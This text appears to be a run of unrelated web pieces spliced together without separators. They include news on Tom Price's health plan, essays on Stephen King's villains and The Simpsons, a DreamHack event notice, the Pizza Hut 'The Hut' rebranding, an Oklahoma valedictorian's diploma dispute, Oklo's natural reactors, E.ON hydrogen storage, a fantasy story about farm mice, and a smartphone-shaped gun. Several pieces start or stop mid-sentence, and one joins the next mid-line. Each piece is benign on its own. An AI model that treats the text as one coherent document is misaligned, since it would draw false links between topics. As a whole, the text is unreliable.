The Price plan would undo the Obamacare provision that prevented insurers from denying coverage to people with pre-existing conditions. Price's bill would insure people with pre-existing conditions who are able to maintain "continuous coverage" 18 months prior to choosing a new policy.
Price's proposal would do away with the ban on medical underwriting to assess health status. In its place, Americans with pre-existing conditions would have the option of going into so-called high-risk insurance pools that utilize the purchasing power of many individuals so that one person's adverse health status doesn't dramatically change anybody's costs.
Prior to Obamacare, the government-run pooling approach was rolled out in more than 30 states, "but it wasn't a satisfactory way of taking care of people" due to underfunding, Jost says.
'Radical' change to Medicare
Jost adds that Price's proposal to transform Medicare into a voucher system would be a "radical" adjustment tantamount to privatizing a program that currently serves some 54 million people, the majority of whom are elderly and about nine million of whom are disabled.
Privatizing Medicare was something Trump said he would never do. He also said not long ago, after a meeting with President Barack Obama, that he would retain certain provisions of Obamacare.
"Trump may have said that, but everything with the Affordable Care Act is so intertwined," says health economist Timothy McBride, who teaches at Washington University in St. Louis.
"[The law] was long for a reason. You can't cherry-pick 12 things and do an à la carte legislation."
McBride expects the Republicans will have to pass a new bill to replace Obamacare.
"Because they promised they would," he says. "The question is what that bill's going to look like."Literature’s great heroes and heroines are no one without fearsome villains to challenge their mettle. And we readers delight in being terrified by a smooth-talking cannibal like Hannibal Lecter (first introduced in Red Dragon) or the equally shudder-inducing Miranda Priestly (the fictionalized version of Anna Wintour) in The Devil Wears Prada. Villains are a tenet of many a genre story, but few authors can write them so convincingly every single time.
That’s where Stephen King is the master of villain creation. Whether he’s writing straight-up horror, psychologically-driven thrillers, or sharp detective stories, we can count on King to deliver the most interesting of bad guys. It’s telling that the villain of his 57th (!) novel Mr. Mercedes is a disturbed man who, in the novel’s prologue, drives his car into a crowd of unemployed men and women at a job fair just for the thrill of it.
The term “good villain” is somewhat of an oxymoron, but King is an expert at creating morally ambiguous characters who teeter on the edge between sympathetic and revolting. They aren’t bland—evil for the sake of being evil—but are are the products of very real circumstances. These villains often have pasts filled with abuse, trauma, and neglect, or else they suffer addiction or mental illness. King is wily: Not only does he make his villains as interesting as his protagonists, but he also often uses his novels’ antagonists to reflect the cultural and social concerns of their time.
In his first novel, Carrie, King was already playing with the definition of the villain. Carrie—bullied, abused, friendless—is a remarkably strong telekinetic. It’s no mistake that this shy misfit discovers her powers at the same time she gets her first period. And since Carrie’s crazy, religious mother never explained puberty to her, Carrie already thinks something is seriously wrong with her, only to find herself ridiculed by the other girls, who throw tampons and pads at her.
Though Carrie’s antagonist is a prom-queen wannabe who pours pigs’ blood over her (blood again!), Carrie still comes out as the villain, since her wave of psychic vengeance decimates the entire town. Written in the 1970s, at the height of feminism’s second wave, Carrie can be seen as the embodiment of the fears American society felt at the advent of women’s liberation, both sexual and social.
The main character of The Shining—which is itself more psychological thriller than horror novel, published in 1977—serves as both protagonist and antagonist. A writer, father, and husband, Jack Torrance is also a recovering alcoholic. During a bitter winter spent as the custodian of what turns out to be a haunted hotel, Jack’s disease comes back to bite him in the ass. The novel’s paranormal elements are a thinly veiled metaphor for his alcoholism, as he becomes abusive and homicidal towards his wife and his son, Danny. When Danny reaches out telepathically for help, he saves himself and his mom, but Jack is killed. King wrote the book at a particularly fraught time in America—after the end of the Vietnam War, when thousands of troops were returning to wives and children who barely recognized them. Many turned to alcohol in order to deal with their PTSD. Jack is a cautionary tale, and he is one of the most terrifying villains in pop-culture because he is still so familiar to us.
Similar to Jack is Annie Wilkes from 1987’s Misery, though her motives differ drastically. Subject to her own madness, she is the (literally) diehard fan that won’t let an author kill off her favorite character and who forces him to write out a book resurrecting his romance heroine Misery Chastain. Disgruntled fans are timeless: Not only do we all know the story of Sir Arthur Conan Doyle resurrecting Sherlock Holmes due to readers’ reactions, but thanks to Game of Thrones, many of us are familiar with the GRRuMblers who obsess over the next installment of A Song of Ice and Fire.
A masterpiece of horror in 1986, It ensured that Pennywise the Dancing Clown would always infiltrate our nightmares. This archetype of the terrifying clown has so entered our culture that an episode ofBuffy the Vampire Slayer showed Xander fleeing one who bore an unquestionable resemblance to Pennywise. I can guarantee that you or one of your friends finds clowns creepy, maybe without even knowing why.
The startling thing about Pennywise as a villain is that he manifests in the hometown of the cast of main characters and has been there long before any of those characters were born. Pennywise, who lures people to him and manipulates them to do his murderous bidding, is the expression of the Stranger Danger mentality that began in the ‘60s and was especially present, through PSA videos, in the ‘70s and ‘80s. But he’s not just an emptily evil character, either—he is also a metaphor for the fear so many of us having of returning home, only to discover things have changed or gone horribly wrong. Pennywise is also the only reason the main characters, who are old friends, reunite. In that sense, he’s a force for good—albeit unintentionally, which makes him even more interesting.
The villain and the good guy share equal space in King’s newest book, Mr. Mercedes. It’s no spoiler to tell you that the villain is a man in his 20s who lives with his alcoholic mother and whose sole joy in life is sabotaging the lives of others. As readers, we’re able to spend ample time in this man’s mind, and so we identify with him even in some of his darkest moments. Though he’s clearly mentally ill, he’s never received treatment of any sort or given the attention that could have spared him the violence he ends up committing. With the rising discussion in the media about the connection between mental illness and mass shootings (especially surrounding the 2013 Boston Marathon bombing, which King said was “too creepily close for comfort” to the book), we can’t not see this book as commentary. King even includes a character, on the “good” side, who is also mentally ill but has been receiving treatment her entire life. If Mr. Mercedes had gotten the treatment she had, maybe he would have been odd, an outcast, but not a killer.
These villains resonate with us because we see ourselves both in them and as their victims. King’s capacity for convincing us of the ambiguity of evil is stressful—are we all capable of horrific actions?—but also contributes, ultimately, to incredibly satisfying reads.On the 17th of September DreamHack once again stands as host for a StarCraft II Invitational. This time in the beautiful Veles e Vents building located in the Valencia Street Formula1 Circuit and the 33rd America’s Cup harbour.
Two more players can today be presented and also the two casters of the event that will guide us through the epic battles we have ahead.
DreamHack Valencia Invitational is less than three weeks away and four of the eight superstars have already been announced and it’s time for two more players.
As the 5th invited player DreamHack is proud to present the dreaded Korean Zerg Player DongRaeGu from compLexity.MVP who is the champion of LG Cinema 3D Special League and has had a very strong showing in GSTL and at MLGs.
Our second Terran player for the tournament is no other than the TSL 3 Champion from Sweden, ThorZaIN. The Mousesport player is currently living in Korea to practice against the best and will most likely be lethal at Valencia Invitational.
THE STARS
The british duo of Apollo and TotalBiscuit to cast the games
Shaun “Apollo” Clark has been with DreamHack StarCraft II since the start and is back yet with another caster who is no other than the very popular man in the hat John “TotalBiscuit” Bain.
They were both casting DreamHack Summer 2011 but on different streams and we have seen over several tournaments that the combination is fantastic. DreamHack is proud to have Apollo and TotalBiscuit as commentators for DreamHack Valencia Invitational.
The hosts for the show will be announced very soon, stay tuned..
On the 6th of September the two brothers LucifroN and Vortix will face off to compete for the spanish slot of the Tournament. They are both qualified for the DreamHack South Europe Regionals which is taking place during the same weekend 16-17 of September.
Buy Tickets Now!
Hundreds of European and Spanish eSports fans will have the possibility to attend the show live on-site. The tickets are available now! With the ticket you have access to event from from 14.00 to 23.00, meet your idols in fan meetings and attend the after-party. Tickets will be sold for 140 SEK, or €15, and available at bokning.dreamhack.se. Secure your ticket today, more players and information about the event will be released to you shortly.
Tournament page: DreamHack Invitationalhas created an unneccessary publicity backlash by tentatively changing its brand to the "." Do a search for Pizza Hut in Google News and you'll see that the move was met with gales of laughter from the media and scorn from the public.
The company was forced to put out a press release saying that Pizza Hut was not changing its name, even though it, er, was actually changing its name. Here's the release in its confusing entirety:
"Pizza Hut is not changing its name. We are proud of our name and heritage and will continue to be Pizza Hut. We do use 'The Hut' in some of our marketing efforts," said Brian Niccol, CMO, Pizza Hut, Inc. "To the loyal fans of Pizza Hut and pizza lovers around the world, we're happy to tell you that nothing is changing, we're still Pizza Hut, America's Favorite Pizza."
... we're also introducing another vocabulary word with Pizza Hut, which is 'The Hut.' That ties in nicely with [today's] texting generation. We wanted to make sure that Pizza Hut and 'The Hut' become common vernacular for our brand
By abandoning the word "Pizza," it runs the risk of turning the rest of its brand into a question mark. What, exactly, should we expect from "The Hut"? It's not a trivial question. No pizza chain dominates the category -- most pizzas are served by local mom and pop restaurants. So Pizza Hut runs the risk of losing share of mind to them.
Second, Novak is running a bigger risk than he thinks. Children and immigrants are not automatically familiar with Pizza Hut the way adults are. They have to learn about it the same way they learn everything else. A generation of people who don't strongly connect The Hut with pizza may arise faster than Novak thinks.
Meanwhile, the folks at Papa John's -- The Hut's hated rival -- are laughing into their dough.Please enable Javascript to watch this video
PRAGUE, Okla. -- The fight continues for an Oklahoma valedictorian who is being denied her diploma because she used the word "hell" in her graduation speech.
Her high school principal told her she couldn't get her diploma until she wrote a letter of apology to the school board.
The story has now gone national with comments pouring in from all over about the district, ironically with the red devil for a mascot, upset over the use of the word "hell."
Kaitlin Nootbaar said she's been overwhelmed with support, getting calls from as far away as Italy.
"That four-letter word is what got me in trouble," Nootbaar said.
She's settling into her freshman dorm at Southwestern Oklahoma State University.
"I did not think it would get that big at all," she said.
Nootbaar said she used the word in her speech in the context of people asking her what she wants to be.
"You know they're going to ask us what we want to be and we're going to say, 'Who the hell knows,' and that's it," Nootbaar said.
Her words mirrored another graduation speech from one of the Twilight movies.
Nootbaar's father described the reaction from her high school principal.
"Went to the office and asked for the diploma and he says, 'Your diploma is right here but you ain't getting it.' Close the door; we have a problem," David Nootbaar said.
The principal told her she could not have her diploma unless she wrote a letter of apology for using the word "hell" in her speech.
"I don't want to because I'm not sorry so writing an apology letter, that's just going to be a lie. Which if they're saying that my cursing is sinning, that would be another sin, so don't want to have two sins on my hands," Nootbaar said.
Her dilemma has gone viral; CNN, The Huffington Post, MSNBC and The New York Daily News all picked up the story.
Prague residents are also weighing in on the controversy.
"I think that's absurd. A lot of people say 'hell' and I'm sorry but she's graduated. Give her her diploma, let her go on her way," Linda Goddard said.
"There's other things in this world that are more important and she's a valedictorian. She earned her diploma, she should get it, without an apology," Christie Warner said.
Nootbaar hopes the district changes its mind.
But for now, she'll focus on her major of marine biology but said that could change.
"Who the hell knows? I may change five more times," she said.
The Prague Superintendent gave us this statement:
"My name is Rick Martin. I am the Superintendent at Prague Public Schools. This morning two news articles involving our school district and Kaitlin Nootbar [sic], the valedictorian for the class of 2012, were brought to my attention. Unfortunately, I have not had any communication with any member of the Nootbar [sic] family regarding this matter. It has been reported that the district is denying Ms. Nootbar [sic] a diploma because of a statement made during the 2012 graduation exercises. My comments are limited to those matters already released to the media by the Nootbar [sic] family.
Valedictorians for Prague Public Schools earn this title through the achievement of academic excellence. Our school has traditionally allowed the valedictorian to speak as part of the district's graduation ceremonies. Speakers are allowed significant freedom in their remarks but all speeches must be approved in advance as being appropriate for graduation exercises. In this case, Ms. Nootbar [sic] prepared an appropriate speech, which was approved by the high school principal. Unfortunately, she did not present the speech as written and used language that was inappropriate for a graduation exercise. Therefore, the high school principal requested a private apology for her transgression before releasing her diploma. His request was both reasonable and in keeping with established federal caselaw interpreting the First Amendment.
Ms. Nootbar [sic] is an outstanding student and her achievements have reflected positively on our district. It is my hope that the family will contact me personally so that this matter may be resolved between the proper parties."
EDITOR'S NOTE: Statement is transcribed as Prague Public Schools Superintendent Rick Martin sent it. The spelling discrepancy in the family's last name is not an error in KFOR-TV transcription.Oklo's Natural Fission Reactors More than 1.5 billion years ago (that's more than 1,500 million years) a nuclear fission reaction took place in an underground uranium deposit in Oklo, Gabon, Africa. The fission reaction continued - off and on - for hundreds of thousands of years. Eventually, the reactor shut down. While it was active, the natural reactor generated fission products (wastes) very similar to those produced when fission occurs in modern nuclear reactors at power plants. Oklo Mine Site in Oklo, Gabon Photo courtesy of Andreas Mittler When evidence of the Oklo reactor was discovered in 1972, the fission products had been lying in Mother Nature's repository for about a billion years (that's 1,000 million years). In fact, it was studies of the fission products found in the uranium mine which showed that a natural reactor had operated there. The Oklo reactor provided an interesting natural analog for waste management. Studying what happened to the fission products in the reactor has provided valuable insight into the requirements for a long-term waste repository.
What led to the discovery of the Oklo natural fission reactors? A scientist making a routine test noted a tiny "discrepancy" in the amount of uranium-235 present in some uranium which was undergoing enrichment. Seeking to explain the discrepancy, scientists began some detective work. Read about the scientific "detective work" they did.
Where can I learn more about Oklo? Visit your local library and ask the reference librarian or periodicals desk for the article: "A Natural Fission Reactor" by George A. Cowan in Scientific American, July 1976. (Pages 36 - 47). It contains photos, diagrams, and a description of the research into the Oklo reactors. This is probably the best-known article about Oklo; it contains readable scientific information for non-specialists. Visit http://www.oklo.curtin.edu.au/, Australian web sites about the Natural Fossil Fission Reactors at Oklo, Gabon. The pages provide information about the "where, when, what, why, who, and how" of the Oklo reactors. Read Phillip Morrison's commentary, "Where Fiction Became Ancient Fact," from Scientific American, June 1998. The author uses a vivid scene from a novel (written before basic discoveries about the atomic nucleus) to catch the reader's attention. Then, he deals with facts about Oklo. (Somewhat difficult reading.)
What does nature tell us about nuclear waste disposal? A Canadian web site, http://www.nuclearfaq.ca/cnf_sectionE.htm#v2, provides information about several analogs for waste storage/disposal, including the natural fission reactors at Oklo.
Does the information gathered from Oklo impact planning for disposal of radioactive waste? Visit http://www.ocrwm.doe.gov/factsheets/doeymp0010.shtml for information.
Where can I learn more about the management of radioactive waste? Visit a library for a copy of: Understanding Radioactive Waste (Fourth Edition)
by Raymond L. Murray
© 1994 Battelle Memorial Institute
ISBN 0-035470-79-4
Where can I learn more about nuclear science and technology? Brochures from ANS provide more information. One discusses ways that nuclear science and technology contribute to sustainable development. Another discusses how nuclear is a sustainable source of energy. Brochures are available at http://www.ans.org/pi/brochures/. The American Nuclear Society offers a useful web site at www.aboutnuclear.org. The "ABC's of Nuclear Science" is another good starting point for basic technical information. It is provided by Lawrence Berkeley National Laboratory and found at http://www.lbl.gov/abc/index.html.
Where can I find definitions for the special terms used here? The ANS web site offers an online glossary. It can be found at http://www.ans.org/pi/glossary/
How does waste from nuclear power compare to the waste from fossil fuel plants? "Rather than disperse massive quantities of waste products over wide areas, as is the case with emissions from fossil fuel plants (sulfur oxides, nitrogen oxides, carbon dioxide, and toxic metals such as arsenic and mercury contained in the fly ash), nuclear power plant operators are able to consolidate the waste and sequester it safely while its radiation level drops. By comparison, some of the waste dispersed into the air from fossil fuel plants is toxic and will remain so forever." from the ANS brochure
Nuclear Power: A Sustainable Source of EnergyAs they bring more renewable energy sources online, utility companies face a double challenge: how to keep the grid stable despite the ups and...
As they bring more renewable energy sources online, utility companies face a double challenge: how to keep the grid stable despite the ups and downs of wind and solar energy, and how to store excess energy from renewables for times when demand is high.
That’s why E.ON plans to develop a pilot energy storage plant in Falkenhagen in the northeast of Germany. The facility, being built at a cost of more than €5 million ($6.8 million), will be designed to convert wind power into hydrogen that can be stored in the country’s gas grid for use when needed.
Set to begin operating in 2013, the plant will use electrolysis — running an electrical current through water — to produce an expected 360 cubic meters of hydrogen each hour. That hydrogen will be fed into Germany’s Ontras gas pipeline system to be used just like natural gas, essentially turning the gas grid into an energy storage system.
Currently, up to 5 percent hydrogen can be added to the natural gas grid without problems. In the medium term, that percentage is expected to rise to 15 percent … which would make it possible for all of the renewable energy generated in Germany today to be stored as hydrogen in the nation’s gas grid. However, demand for that kind of capacity isn’t expected until most of the country’s power comes from renewable sources, most likely a few decades from now.
“We need new storage capacities so that we can further increase the share of weather-dependent wind power in our generation portfolio in coming years,” said Klaus-Dieter Maubach, a member of the E.ON board responsible for technology and development. “Using the existing gas infrastructure to store hydrogen is a promising approach in the long run, enabling us to combine our strengths as a power and gas company.”Musicians in Mali are defying militants in the North who have declared Shariah law and banned all music but the Islamic call to prayer.
Malian singer Fatoumata Diawara has gathered together a group of 40 of the African nation's top musicians to record the song Mali-ko (Peace) and appeal for an end to the current conflict, believed to be fostered by al-Qaeda sympathizers.
The group, dubbed Voices United for Mali, includes internationally renowned singers and artists like Amadou and Mariam, Oumou Sangaré, Vieux Farka Touré and Toumani Diabaté, as well as young musicians just beginning gain renown in their country.
The culture of the west African nation is musically rich, with many local musicians earning a living from playing at weddings, funerals, festivals and community events. However, many have fled south to Mali’s capital of Bamako or to refugee camps in southeastern neighbour Burkina Faso in order to avoid the conflict.
Musical culture key for West African nation
Strict Islamist militants imposing a version of Shariah law first seized control |
Jerrik, and he recognized the mouse instantly as his son Morto, whom he wrapped his arms around tightly. “You’re alive!” he exclaimed.
“Of course I am,” said Morto. “Told you I could do it. Sorry I’m a little late. Got turned around a bit in the city. All the buildings are so tall, I wasn’t sure which one was the Longtails’.” Morto hugged his mother who was now sobbing uncontrollably. “Alright there, Juker? Selver?”
“You are a mite past fashionably late,” scoffed Juker.
“Papa almost died!” exclaimed Selver, never one for subtlety. “We all did! Oh but you should have seen it Morto. Papa was so brave!”
“We saw all of it,” said Morto. “As we were coming up.” Morto moved aside, making way for the other three mice.
The one at the lead, holding up her arms towards the crow, which still hung awkwardly in midair, was dressed in a royal blue cloak with a wide-brimmed blue hat. She had stark white fur, and a large golden pendant shaped like a dream catcher hung from her neck. It pulsed with the same blue color as whatever was holding the bird still.
Behind her was a mouse with cream-colored fur accentuated by chocolate coloring at his nose and ears and even on his paws. He wore a brown tunic with a hood and held out a bow with an arrow knocked in it, pointed directly at Zirest. He was accompanied by a large furry tarantula, which seemed to be following the mouse like a pet.
Behind them both was a silver-colored mouse who looked to be in charge. He had black metal armor which gleamed in the morning sun and a long polearm was fastened to his back.
“Papa, Mama, Juker and Selver, meet the Longtails!” said Morto jovially.
“We’re not technically all of the Longtails,” corrected the mouse with the bow. He apparently had a knack for correcting others. “We are simply a band of Longtails. Ponku over there…” he pointed to the mouse with the polearm, “Is a Dragoon Knight and our Alpha. Me and Pinefel are Scrappers.” He pointed to himself and the ladymouse holding the spell. Alpha and Scrapper were ranks. Jerrik’s limited knowledge of the inner workings of the Longtails was enough to know that the Alpha was in charge, and the Scrappers were the soldiers who answered to him. “She’s a Violet, a sort of mage, and I’m a Ranger.” These were the particular areas of study the mice had chosen to pursue. “And this here’s my loyal companion, Cadico.” He pet the tarantula, who actually seemed to nuzzle to his touch. “Oh, and my name’s Taren. Taren Winterspear. Glad we made it out here, though I must say you were doing mighty fine on your own.”
“I fear that we would have been crow meat had you not shown up when you did,” said Jerrik, shaking Taren’s paw. “You have my – our – thanks.”
“Anytime,” said Taren, proudly. “That’s what the Longtails are here for.”
“We’ll get this bird out your fur,” said the Knight, Ponku.
“Course we will,” chimed in Pinefel. “Assuming I don’t lose this spell.”
“With moves like yours,” said Taren to Jerrik, “Perhaps you might consider joining the Longtails?”
“My home is here,” said Jerrik politely. “I’m a farm-mouse. Always have been. Always will be.” He gave Taren a smile and Taren reciprocated it.
“Then perhaps your son here,” said Taren, eyeing Morto. “He’s mighty fast. Would make an excellent Rogue or Fighter.”
Jerrik looked to Morto, expecting to see the mouse pulling back, but there was an air of excitement and wanderlust on his son’s face. Well, he supposed, every mouse’s calling was different.
“That will be a conversation for another day,” said Jerrik. “But if and when he’s ready, and if it’s what he wants, I’ll pry his mother’s claws out of his fur and send him to you.”
“I look forward to that day,” said Taren. Then the Longtails secured the crow and prepared to depart. Jerrik and his family thanked them and sent them away with food from their farm. Only the finest.
__________________________________
That night, Jerrik sat out on the top of the tank, overseeing the crops which he had grown over the past year. Tomorrow, he would have to begin the arduous task of harvesting everything. In a week or so, peddlers would arrive to purchase crops and take them to the city market, where they would try to turn a profit. Sindla appeared and sat next to him, handing him a mug full of hot apple cider. He sipped it appreciatively, noting the tingle that ran through his stomach, down his spine and all the way to the tip of his tail. Apparently it was spiked apple cider.
She ran a hand over his left ear, which was now only half as tall and wrapped in a white bandage, which covered the top portion of his head. “It suits you,” she said. She turned her attention to the mouse before her. Her husband. “You could have been a Longtail,” she said, half-jokingly.
“That was never my path,” he replied. “My place is with you, on this farm. I was never meant to be a Ranger, or a Knight, or a Violet or any other color for that matter,” he joked. “I was meant to be a farm mouse. I may not be a warrior, but I do this one thing very well… better than any other mice. I was meant to be a farm-mouse. That’s all we can really hope for in our short lives, Sindla… to be the best at doing the thing we love most. Even if it doesn’t come with magic spells or swords or fancy titles.”
“Oh I’m sure we can come up with a fancy title,” she said with a grin. “Crow-Slayer!”
Jerrik laughed. “Bird-Whisperer!”
“Oh! I’ve got it!” she announced. She used her paw to wave a hand in the air as if she was seeing the name on some marquee somewhere. “Guardian.”
“Guardian?” he asked. It sounded so important. So special. Nothing like what he thought he deserved for simply farming.
“Guardian of the Pumpkin Patch,” she said.
He smiled wide and kissed her nose. He then looked out over the farm around them. “I like it,” was all he said. She put her head on his shoulder and they sat just like that well into the night. To himself he was a simple farmer, but to his family, he was Jerrik Hatherhorne, Guardian of the Pumpkin Patch. Strangely, that year, when the pumpkins and other vegetables were harvested, his newfound title followed them to market. Signs could be found proclaiming to be selling pumpkins grown by the Pumpkin Patch Guardian himself. And just as he had hoped, it was the best season they’d ever had.
AdvertisementsSeveral companies are working on smart handguns that only fire for a biometrically-verified user. IDEAL’s latest creation took smart in a different direction: it disguised itself as a smartphone.
They call the gun the IDEAL Conceal (expect a 503 error, their website is getting hammered), and it looks an awful lot like a Galaxy Note that’s locked inside a chunky Otterbox case. The two large openings on the top edge give it away, but only at close range. From a distance, you’d probably never realize someone with a Conceal was holding a deadly weapon and not a phone.
A gun that looks like a smartphone sounds like a terrible thing for public safety, doesn’t it? In reality, though, that doesn’t seem to be the case. It’s not as though you can just pull the Conceal out of a smartphone holster and squeeze off a round. There’s a little prep work involved: you’ve got to fold down the handle to expose the trigger first. Its clever disguise, then, comes at a cost: it actually takes longer to draw and shoot with the Conceal than with an ordinary handgun.
The Conceal also doesn’t try to conceal itself from metal detectors or scanners. It’s barrels, trigger, and hammer are all metal. It also only holds two rounds — one for each of its barrels — and most handguns on the market hold at least three times as many. It’s also got very limited stopping power. The Conceal is a.380 caliber gun, which some class as “pea shooters.”
That’s not to say they can’t be deadly in the hands of a skilled marksmen, but the Conceal is pretty clearly built for self-defense. It’s also going to be sold in gun shops, so hopefully you didn’t count on being able to pick it up at a heavily-subsidized price with a new two-year contract.There’s one day left for the PrioVR Kickstarter; with a little less than 50% of their funding raised so far, PrioVR needs the help of the VR community to hit their goal.
PrioVR is a VR motion tracking suit by YEI Technology which uses internal sensors to track your every movement. The Kickstarter offers three systems, Pro, Lite, and LZ. PrioVR Pro ($399) features 17 sensors and YEI says its suitable for professional motion capture use. PrioVR Lite ($349) has 11 sensors and is aimed toward VR gamers who want full body motion tracking. PrioVR LZ ($275) has 7 sensors and is aimed toward upper-body tracking for seated VR gaming. All versions include the API, SDK, demo game, and can be extended with additional sensors.
The PrioVR Kickstarter is currently sitting at $108,907 in funding, just under 50% of their $255,000 goal.
Part way through their Kickstarter, YEI Technology announced a big price drop on PrioVR, and earlier expected delivery for the system.
Having been up close and personal with the PrioVR prototype myself, I can say that PrioVR is definitely a viable option for VR motion tracking, and one that I hope we can see funded. If you’re interested in supporting the PrioVR Kickstarter, today is your last day — don’t forget, you don’t get charged unless the Kickstarter is successful!
Full Disclosure: YEI Technology is running a PrioVR ad on Road to VR.[Enjoy this D’OHverthinking It guest post from Chris Morgan!]
We all have a touchstone in our lives. The one thing we hold closest to our hearts. The one thing we can always rely on. For some it’s family or religion. For others it’s bees (apiarists mostly). For me, it’s The Simpsons. As far as I am concerned it is the most glorious thing mankind has ever accomplished, and you can take all your airplanes, polio vaccines, and wheels and jump in a lake if you disagree. On December 17th, the show celebrated its 20th anniversary. There have been 450 episodes, and I have seen every single one of them.
Of course, people have been complaining about the show for years. Cries of “Worst episode ever” have been heard for so long, they were able to deal with it in “The Itchy and Scratchy and Poochie” episode (my personal favorite) and that was all the way back in season eight when the show was still fantastic. I have never been one who likes to bemoan the show. If anything, I am a Simpsons apologist. Yet even I must admit the show is a mere shadow of what it used to be. In fact, I don’t even really look forward to new episodes anymore. I merely sit down in front of my TV (or my internets, more often) and hope for the best. I no longer love the show, but I cannot bring myself to leave them. You know, like most marriages.
In fact, and I it depresses me to even have to say this, but last season me and the show had our lowest moment; I couldn’t make it through the full episode. It was just too bad. It was the episode “Double, Double, Boy in Trouble” in which Bart meets his exact double who, get this, comes from a rich family! Hilarity didn’t ensue, soul crushing did. I made it through leprechaun jockeys. I made it through raccoon families that look like the Simpsons. I couldn’t make it through this.
These days, I truly think the show is at its worst. Now, all Simpsons fans have their own theories and reasons why the show doesn’t have the same impact it used to. Many feel that the characters aren’t relatable anymore. Some blame this on former show runner Mike Scully, who was the executive producer from season nine until season 12. He allowed the show to devolve into silliness (he oversaw the aforementioned leprechaun jockey fiasco). Brilliant Simpsons writer John Swartzwelder has a penchant for allowing his writing to devolve into complete absurdity if it isn’t kept in check (as any of his novels can attest to) and under the watch of Mike Scully that didn’t happen. Scully also subjected us to the scourge of humanity that are show writers Tim Long and Carolyn Omine, whose names on the “Written By” credit always gives me the chills. Omine’s writing style would fit in better over at Family Guy, as she has an annoying habit of including off hand pop culture references in her work (look no further than the episode where Homer becomes an ice cream truck driver for reference). Long’s writing suffers from being too silly, too over the top, and usually lacking any heart. He’s the man behind the leprechaun jockey episode I keep referencing, as well as the episode where Bart becomes a member of a boy band whose music is used to subliminally recruit people into the army. Really.
However, since Al Jean (who co-show ran seasons three and four with Mike Reiss before creating The Critic) took over the show in season 13, things haven’t really gotten any better. Some other common complaints are that Homer has gotten too stupid and/or too mean. Over at the website “Bone The Fish” which is apparently the spiritual successor or Jump the Shark which was bought by TV Guide and turned into a gossip website, the number one moment listed is when the show killed off Maude Flanders. This, in a roundabout way, brings me to why I feel the show isn’t as good as it used to be. Here was a character people came to know and love who was suddenly and callously killed off. As the episode “The Principal and the Pauper” dealt with, viewers get really attached to the characters on a show. However, I feel that is no longer possible with The Simpsons and that is the main reason for both its sagging quality, and thus its sagging popularity.
Why are these characters we once knew and loved no long knowable and loveable? Well, because it’s nigh impossible to really have a feel for the characters anymore. The show has had six different show runner eras involving nine different people. They have had countless different writers. This, combined with the need to create new stories after so many years, has led to writers ascribing traits to characters they once didn’t have. Many times, these traits are contradictory to everything we knew about the character. Often, they are tossed aside and the character returns to the way they use to be, or develops entirely knew characteristics. I’m not merely talking about the various degrees of Homer’s stupidity. I am talking about the core, basic traits of these characters and their moral and ethical standing.
Take, for example, Bart Simpson. He’s never been my favorite character, but he has for the most part been alright with me and is, of course, a key member of the show. In the early years, when Bart became the breakout star, recording novelty records and shilling crumbly candy bars, he was the focal point of the show. It was a show about Bart the mischievous son rebelling against the harsh authority figure, Homer. The show started to focus more on Homer as it went on (and in later years focused more and more on secondary characters) but Bart’s character remained essentially unchanged. He was the prankster, the class clown, a modern day Dennis the Menace right down to the slingshot.
However, he was mostly harmless, and thus likeable. That was, until the episode “Please Homer, Don’t Hammer ‘Em” written by Matt Warburton (one of the more subversive writers the show has ever had). The A-story is all well and good; Marge finds a love for carpentry but needs Homer to be the face of the operation because nobody in town takes a female carpenter seriously. The episode gets into gender role stuff and Homer’s fear of being emasculated by Marge. It is all well and good. The B-Story is where I have an issue. It turns out Principal Skinner has a very serious peanut allergy. As in, even touching peanuts can bring him to the brink of death. Bart finds out about this, and decides to use it to his advantage. Instead of using this information to pull off harmless pranks or get some leniency in school, however, he instead forces Skinner to do some really creepy and weird things, one of which involves filling his pants with cats and dynamite. A ridiculous notion, perhaps, but a disturbing one nonetheless. So, to reiterate, Bart is forcing Skinner to do really unpleasant and messed up things by means of essentially threatening to kill him. With that, the modern day Dennis the Menace was turned into a straight up sociopath.
Juxtapose that with, say, the episode “Bart the Mother” from season 10. In this episode, Bart accidentally shoots a bird, is torn up inside by it, so he rescues its eggs to help them hatch. Even when they turn out to be bird killing lizards, he still protects them and saves their lives. This is the exact same character acting in completely opposite ways. This is confusing, this is maddening, and this leaves you unable to say who “Bart Simpson” is anymore. Additionally, the Bart Simpson of the later episode, the one brandishing a peanut on a stick for evil, leaves a bitter taste in your mouth. It renders the character completely unlikeable for the rest of the show’s run, or at the very least unsympathetic. You can’t undo the actions of the characters within the show, even a show such as The Simpsons which tells mostly stand alone stories with their episodes. In an episode this season, a plan by Bart to make Mrs. Krabappel more fun ends up getting her fired and he feels terrible about it. He plans to get the new teacher fired so she can get her job back, but then thinks better of it, because he wants to believe there is still a bit of goodness left inside him. Sorry, Simpsons writers, but that ship has sailed. You can’t suddenly re-ascribe old character traits to Bart. How, exactly, are we then supposed to reconcile the events of previous episodes? Had this latest episode taken place in an earlier season, I may have enjoyed it. However, at this point it just rang hollow and annoyed me.
Now, let’s take the other Simpsons child (I, like Homer, am ignoring Maggie), Lisa. There is often a problem with Simpsons episode in where Lisa has to act like a child. Early in the show’s run, they needed a voice of reason and rationality within the family, and with the other characters tied up with their own roles that fell to Lisa. She has always been exceedingly smart, so world wise and intelligent than if it wasn’t an animated show it would ring as false and annoying to me. However, occasionally to tell a story they need her to act like a child which means taking on traits that, while typical of your usual eight year old, does not jive with her character. Take, for example, the episode in where Lisa develops a fear of the cemetery that is put up outside her bedroom window. Normally, Lisa would be too pragmatic and rational for this, but there is no other way for The Simpsons’ writer to tell this story. Since most of the time when Lisa acts her age it is part of a story of emotional depth rather than hollow zaniness, I usually let it slide. However, I could certainly see it bothering some people.
On the other hand, here is a recent example of Lisa acting in a way that completely flies in the face of everything we know about her as a character. In the episode “Pranks and Greens” Bart befriends an aging prankster (played by Jonah Hill so you know it’s hilarious) and tries to help him turn his life around. The genesis of his decision, however, comes after Lisa snarkily calls the two of them losers. Repeatedly. In an obnoxious voice she has never before used. With his finger and her thumb in the shape of an L on her forehead. At the end of the episode she does this again when she finds out that Jonah Hill’s character has gotten a job writing for Krusty’s show in an oh so hilarious meta gag about the show’s writers, and indeed all television writers (and perhaps even all aspiring television writers, such as yours truly). In this episode, Lisa exhibited a side of her we hadn’t see in the 446 episodes before this one or the one after it; Lisa, the arbiter of cool.
